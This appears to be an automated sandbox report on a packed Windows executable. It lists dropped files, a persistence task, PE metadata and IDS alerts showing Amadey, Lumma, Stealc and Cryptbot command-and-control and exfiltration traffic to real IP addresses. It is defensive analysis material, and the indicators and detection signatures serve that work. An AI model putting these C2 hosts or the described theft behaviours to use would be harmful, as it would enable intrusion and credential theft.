Entropy (8bit):	5.532069970681855
Encrypted:	false
SSDEEP:	192:qnaRtZYbBp6Rhj4qyaaX86KakfGNBw82JSl:devquOcwj0
MD5:	A792D2EE2866C63172450831896ED303
SHA1:	231052F47A7F78D8DADD46396712EEE27C65E633
SHA-256:	3B1D6422CA67A35FF3B758D99D8D59E17431269D1187699D74B9E501A07A2C9E
SHA-512:	D6778B1868629F1A8A2982D9033B4998D314BCC1FA7A7F68AFDBAB6FF339484E7EB866C7DB907F48162AB061BAC56DB75B12161CDBD66A706780C7102AD4ACC0
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9880
Entropy (8bit):	5.532069970681855
Encrypted:	false
SSDEEP:	192:qnaRtZYbBp6Rhj4qyaaX86KakfGNBw82JSl:devquOcwj0
MD5:	A792D2EE2866C63172450831896ED303
SHA1:	231052F47A7F78D8DADD46396712EEE27C65E633
SHA-256:	3B1D6422CA67A35FF3B758D99D8D59E17431269D1187699D74B9E501A07A2C9E
SHA-512:	D6778B1868629F1A8A2982D9033B4998D314BCC1FA7A7F68AFDBAB6FF339484E7EB866C7DB907F48162AB061BAC56DB75B12161CDBD66A706780C7102AD4ACC0
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.4056429798869847
Encrypted:	false
SSDEEP:	6:OfVXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lBbdt0:OZf2RKQ1CGAFAjzvYRQVBbdt0
MD5:	5B9982019688D688BE0A42A8E40408C9
SHA1:	38F839B914B618D03A721A71F5864C9E52546C10
SHA-256:	69406A6D929321C0CB02282514CADC8C651A04E108FC72726E0EC03996FE7856
SHA-512:	DE983E654892EC52AA3160245833299BBD4B4F702D859981E02266040188F65BDD4F0E16AC022EA16DF6B736A6ACC896FE0495600812BC886A2E0C7F49BD7074
Malicious:	false
Preview:	....j...VP.@....5dt.F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.953401501992381
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'973'760 bytes
MD5:	fc20a6c027aad707aa48822ff845634f
SHA1:	c899fb0f23781c2059aa0b86628992f2f0a56eb8
SHA256:	4649973caf12dba324f3ae728a2547b8faaf5eeda88cc8943a0802098ce30782
SHA512:	b3969b8b9228a5569f70b425b2158fc856f6d0b99b9278dad2552e943ae9b3f52fd636c769a25fcc531828a440e62b5968612d20c276caa7810e83ea87b39b5d
SSDEEP:	49152:9xxjzwZT2g2d+n2KDNmscVtW2GsrrF8S0:9bwZygE+/UzHW6
TLSH:	F39533150E46C4C4FB11F833BE41D884EF50AFE592D4FE7BF964A098107A7EA60E4CA8
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x8db000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F0615A031EAh
paddb mm3, qword ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
inc ecx
push bx
dec esi
dec ebp
das
xor al, 36h
dec edi
bound ecx, dword ptr [ecx+4Ah]
dec edx
insd
push edi
dec eax
dec eax
jbe 00007F0615A03252h
push esi
dec edx
popad
je 00007F0615A0324Bh
push edx
dec esi
jc 00007F0615A0325Ah
cmp byte ptr [ebx], dh
push edx
jns 00007F0615A03227h
or eax, 49674B0Ah
cmp byte ptr [edi+43h], dl
jnc 00007F0615A0322Dh
bound eax, dword ptr [ecx+30h]
pop edx
inc edi
push esp
push 43473163h
aaa
push edi
dec esi
xor ebp, dword ptr [ebx+59h]
push edi
push edx
pop eax
je 00007F0615A03237h
xor dl, byte ptr [ebx+2Bh]
popad
jne 00007F0615A0322Ch
dec eax
dec ebp
jo 00007F0615A03223h
xor dword ptr [edi], esi
inc esp
dec edx
dec ebp
jns 00007F0615A03230h
insd
jnc 00007F0615A03250h
aaa
inc esp
inc ecx
inc ebx
xor dl, byte ptr [ecx+4Bh]
inc edx
inc esp
bound esi, dword ptr [ebx]
or eax, 63656B0Ah
jno 00007F0615A03238h
push edx
insb
js 00007F0615A03251h
outsb
inc ecx
jno 00007F0615A03232h
push ebp
inc esi
pop edx
xor eax, dword ptr [ebx+36h]
push eax
aaa
imul edx, dword ptr [ebx+58h], 4Eh
aaa
inc ebx
jbe 00007F0615A0322Ch
dec ebx
js 00007F0615A03223h
jne 00007F0615A03211h
push esp
inc bp
outsb
inc edx
popad
dec ebx
insd
dec ebp
inc edi
xor dword ptr [ecx+36h], esp
push 0000004Bh
sub eax, dword ptr [ebp+33h]
jp 00007F0615A0323Ch
dec edx
xor bh, byte ptr [edx+56h]
bound eax, dword ptr [edi+66h]
jbe 00007F0615A0321Ah
dec eax
or eax, 506C720Ah
aaa
xor dword ptr fs:[ebp+62h], ecx
arpl word ptr [esi], si
inc esp
jo 00007F0615A03253h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x448	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4d9d64	0x10	hhtplcno
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4d9d14	0x18	hhtplcno
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	9efd8213e84482caa6bc0bb74c432d4b	False	0.9983289339237057	data	7.9885452868625055	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x448	0x600	23f61aeefa7c3d30c07a21aa8f45e969	False	0.3053385416666667	data	5.28505835027857	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2bf000	0x200	a1d6c164f81079ed332900ef4db8794f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
hhtplcno	0x32a000	0x1b0000	0x1afe00	11671515f50e6dc8c8a1207afcf94020	False	0.9946330047033285	data	7.952903157430066	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
koagpykx	0x4da000	0x1000	0x600	c25a1202bd5bd5a4f1dec8f8c04c7737	False	0.5716145833333334	data	4.951506953085347	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4db000	0x3000	0x2200	3fb1dd51e0ccaf75c7594929b394f75f	False	0.37902113970588236	DOS executable (COM)	4.055552621830455	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x256	ASCII text, with CRLF line terminators			0.5100334448160535
RT_MANIFEST	0x692c8	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-23T11:22:05.521064+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49753	185.215.113.43	80	TCP
2024-11-23T11:22:10.057987+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49765	31.41.244.11	80	TCP
2024-11-23T11:22:19.889260+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49759	TCP
2024-11-23T11:22:21.336668+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49788	185.215.113.43	80	TCP
2024-11-23T11:22:22.792767+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49793	185.215.113.16	80	TCP
2024-11-23T11:22:29.668114+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49809	185.215.113.43	80	TCP
2024-11-23T11:22:30.211490+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49815	172.67.162.84	443	TCP
2024-11-23T11:22:31.050117+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49815	172.67.162.84	443	TCP
2024-11-23T11:22:31.050117+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49815	172.67.162.84	443	TCP
2024-11-23T11:22:31.168266+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49816	185.215.113.16	80	TCP
2024-11-23T11:22:32.370809+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49821	172.67.162.84	443	TCP
2024-11-23T11:22:33.115478+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49821	172.67.162.84	443	TCP
2024-11-23T11:22:33.115478+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49821	172.67.162.84	443	TCP
2024-11-23T11:22:34.748672+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49827	172.67.162.84	443	TCP
2024-11-23T11:22:37.443971+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49834	172.67.162.84	443	TCP
2024-11-23T11:22:38.324296+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49834	172.67.162.84	443	TCP
2024-11-23T11:22:38.362720+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49835	185.215.113.43	80	TCP
2024-11-23T11:22:39.643197+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49836	185.215.113.206	80	TCP
2024-11-23T11:22:39.962091+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49842	185.215.113.16	80	TCP
2024-11-23T11:22:40.092603+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49836	185.215.113.206	80	TCP
2024-11-23T11:22:40.216235+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.4	49836	TCP
2024-11-23T11:22:40.366745+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49843	172.67.162.84	443	TCP
2024-11-23T11:22:40.545621+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49836	185.215.113.206	80	TCP
2024-11-23T11:22:40.871492+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.4	49836	TCP
2024-11-23T11:22:42.589373+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49836	185.215.113.206	80	TCP
2024-11-23T11:22:43.162777+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49849	172.67.162.84	443	TCP
2024-11-23T11:22:43.293764+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49850	172.67.162.84	443	TCP
2024-11-23T11:22:43.342444+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49836	185.215.113.206	80	TCP
2024-11-23T11:22:43.990795+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49850	172.67.162.84	443	TCP
2024-11-23T11:22:43.990795+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49850	172.67.162.84	443	TCP
2024-11-23T11:22:45.454852+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49856	172.67.162.84	443	TCP
2024-11-23T11:22:45.702738+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49857	185.215.113.43	80	TCP
2024-11-23T11:22:45.843137+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49860	172.67.162.84	443	TCP
2024-11-23T11:22:46.155168+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49856	172.67.162.84	443	TCP
2024-11-23T11:22:46.155168+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49856	172.67.162.84	443	TCP
2024-11-23T11:22:46.824872+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	49864	34.116.198.130	80	TCP
2024-11-23T11:22:47.219224+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49865	185.215.113.16	80	TCP
2024-11-23T11:22:48.932344+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	49881	34.116.198.130	80	TCP
2024-11-23T11:22:50.052695+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49884	172.67.162.84	443	TCP
2024-11-23T11:22:51.987748+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49893	172.67.162.84	443	TCP
2024-11-23T11:22:52.630893+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49897	172.67.162.84	443	TCP
2024-11-23T11:22:52.839537+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49893	172.67.162.84	443	TCP
2024-11-23T11:22:54.328214+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49908	185.215.113.16	80	TCP
2024-11-23T11:22:56.245245+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49916	185.215.113.43	80	TCP
2024-11-23T11:22:56.914283+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49918	172.67.162.84	443	TCP
2024-11-23T11:23:02.122107+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49907	185.215.113.206	80	TCP
2024-11-23T11:23:02.945191+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49941	172.67.162.84	443	TCP
2024-11-23T11:23:04.217511+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49907	185.215.113.206	80	TCP
2024-11-23T11:23:05.678601+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49907	185.215.113.206	80	TCP
2024-11-23T11:23:06.836503+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49952	172.67.162.84	443	TCP
2024-11-23T11:23:06.960169+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49907	185.215.113.206	80	TCP
2024-11-23T11:23:10.006996+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49964	172.67.162.84	443	TCP
2024-11-23T11:23:10.674189+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49907	185.215.113.206	80	TCP
2024-11-23T11:23:11.880923+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49907	185.215.113.206	80	TCP
2024-11-23T11:23:20.656685+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	50004	34.116.198.130	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 23, 2024 11:21:04.946685076 CET	49675	443	192.168.2.4	173.222.162.32
Nov 23, 2024 11:21:18.094949007 CET	49730	443	192.168.2.4	20.12.23.50
Nov 23, 2024 11:21:18.095061064 CET	443	49730	20.12.23.50	192.168.2.4
Nov 23, 2024 11:21:18.095165968 CET	49730	443	192.168.2.4	20.12.23.50
Nov 23, 2024 11:21:18.097286940 CET	49730	443	192.168.2.4	20.12.23.50
Nov 23, 2024 11:21:18.097323895 CET	443	49730	20.12.23.50	192.168.2.4
Nov 23, 2024 11:21:19.776547909 CET	443	49730	20.12.23.50	192.168.2.4
Nov 23, 2024 11:21:19.776627064 CET	49730	443	192.168.2.4	20.12.23.50
Nov 23, 2024 11:21:19.780405998 CET	49730	443	192.168.2.4	20.12.23.50
Nov 23, 2024 11:21:19.780433893 CET	443	49730	20.12.23.50	192.168.2.4
Nov 23, 2024 11:21:19.780834913 CET	443	49730	20.12.23.50	192.168.2.4
Nov 23, 2024 11:21:19.826067924 CET	49730	443	192.168.2.4	20.12.23.50
Nov 23, 2024 11:21:21.320180893 CET	49730	443	192.168.2.4	20.12.23.50
Nov 23, 2024 11:21:21.367340088 CET	443	49730	20.12.23.50	192.168.2.4
Nov 23, 2024 11:21:21.874285936 CET	443	49730	20.12.23.50	192.168.2.4
Nov 23, 2024 11:21:21.874315023 CET	443	49730	20.12.23.50	192.168.2.4
Nov 23, 2024 11:21:21.874325037 CET	443	49730	20.12.23.50	192.168.2.4
Nov 23, 2024 11:21:21.874346018 CET	443	49730	20.12.23.50	192.168.2.4
Nov 23, 2024 11:21:21.874385118 CET	49730	443	192.168.2.4	20.12.23.50
Nov 23, 2024 11:21:21.874418974 CET	443	49730	20.12.23.50	192.168.2.4
Nov 23, 2024 11:21:21.874484062 CET	443	49730	20.12.23.50	192.168.2.4
Nov 23, 2024 11:21:21.874521017 CET	49730	443	192.168.2.4	20.12.23.50
Nov 23, 2024 11:21:21.874521017 CET	49730	443	192.168.2.4	20.12.23.50
Nov 23, 2024 11:21:21.874552011 CET	49730	443	192.168.2.4	20.12.23.50
Nov 23, 2024 11:21:21.898158073 CET	443	49730	20.12.23.50	192.168.2.4
Nov 23, 2024 11:21:21.898235083 CET	49730	443	192.168.2.4	20.12.23.50
Nov 23, 2024 11:21:21.898262024 CET	443	49730	20.12.23.50	192.168.2.4
Nov 23, 2024 11:21:21.898283958 CET	443	49730	20.12.23.50	192.168.2.4
Nov 23, 2024 11:21:21.898344040 CET	49730	443	192.168.2.4	20.12.23.50
Nov 23, 2024 11:21:22.592070103 CET	49723	80	192.168.2.4	23.193.114.18
Nov 23, 2024 11:21:22.713016987 CET	80	49723	23.193.114.18	192.168.2.4
Nov 23, 2024 11:21:22.713098049 CET	49723	80	192.168.2.4	23.193.114.18
Nov 23, 2024 11:21:23.198116064 CET	49730	443	192.168.2.4	20.12.23.50
Nov 23, 2024 11:21:23.198116064 CET	49730	443	192.168.2.4	20.12.23.50
Nov 23, 2024 11:21:23.198184013 CET	443	49730	20.12.23.50	192.168.2.4
Nov 23, 2024 11:21:23.198215008 CET	443	49730	20.12.23.50	192.168.2.4
Nov 23, 2024 11:21:56.609189034 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:56.609277010 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:56.609365940 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:56.609667063 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:56.609724998 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:58.332751036 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:58.332849026 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:58.336491108 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:58.336524010 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:58.336879969 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:58.346796989 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:58.391330957 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:58.810214043 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:58.810265064 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:58.810278893 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:58.810364008 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:58.810364008 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:58.810417891 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:58.810470104 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:58.994961977 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:58.994991064 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:58.995153904 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:58.995153904 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:58.995187044 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:58.995250940 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:59.044390917 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:59.044414043 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:59.044507980 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:59.044528008 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:59.044583082 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:59.165874004 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:59.165890932 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:59.165967941 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:59.166001081 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:59.166071892 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:59.210879087 CET	443	49736	13.107.246.63	192.168.2.4
